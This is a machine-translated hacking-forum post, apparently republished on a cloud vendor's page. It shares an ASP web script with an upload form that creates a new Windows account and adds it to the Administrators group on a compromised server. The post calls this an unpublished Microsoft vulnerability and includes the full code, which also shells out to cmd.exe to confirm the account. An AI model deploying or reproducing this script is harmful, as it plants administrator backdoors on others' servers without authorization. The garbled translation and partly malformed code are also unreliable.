Add superuser. asp code [Original of blue screen, Kevin Improved, MS Unpublished vulnerability]_ Application tips

Source: Internet
Author: User
Add superuser. asp code [Original of blue screen, Kevin Improved, Ms Unpublished vulnerability]
Author: Blue screen, Kevin article source: Freezing point limit
In fact, last week, Kevin and I were tested on my broiler and the hippo epic. The result is a successful addition of the Administrators group's users under user permissions (though I can't believe my eyes).
Last time Kevin didn't word, I dare not publish ah .... Now that he's posted on his blog, it's turned around (a bit better than I did last time I tested, plus a form). This is a blessing.

Anyway, the code is right, but rarely success, the specific look at luck. Oh, next I want to integrate him into the ocean. Hey.
Copy Code code as follows:

<form action= "useradd.asp" method=post>
User: <input name= "username" type= "text" value= "kevin1986" ><br>
Password: <input name= "passwd" type= "password" ><br>
<input type= "Submit" value= "Add" >
</form>

<% @codepage =936
On Error Resume Next
If Request.ServerVariables ("REMOTE_ADDR") <> "127.0.0.1" Then
Response.Write "IP!s n0t Right"
Else
If Request ("username") <> "then
Username=request ("username")
Passwd=request ("passwd")
Response.expires=0
Session.timeout=50
server.scripttimeout=3000
Set Lp=server.createobject ("Wscript.Network")
oz= "winnt://" &lp.computername
Set Ob=getobject (oz)
Set oe=getobject (oz& "/administrators,group")
Set od=ob.create ("User", username)
Od. SetPassword passwd
Od. SetInfo
Oe. ADD oz& "/" &username
If Err Then
Response.Write "Ah ~ ~ Today you still don't buy 6+1 ... Save 2 yuan to buy a bottle of cola ...
Else
If InStr (Server.CreateObject ("Wscript.Shell"). EXEC ("cmd.exe/c net User" &username.stdout.readall), "Last Login" >0 Then
Response.Write "Although there is no mistake, but it seems to have not established success." You must be depressed.
Else
Response.Write "Omg!" &username& "The account has become!" This is an unknown loophole. 5,000,000RMB it's yours.
End If
End If
Else
Response.Write "Please enter your username"
End If
End If
%>
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.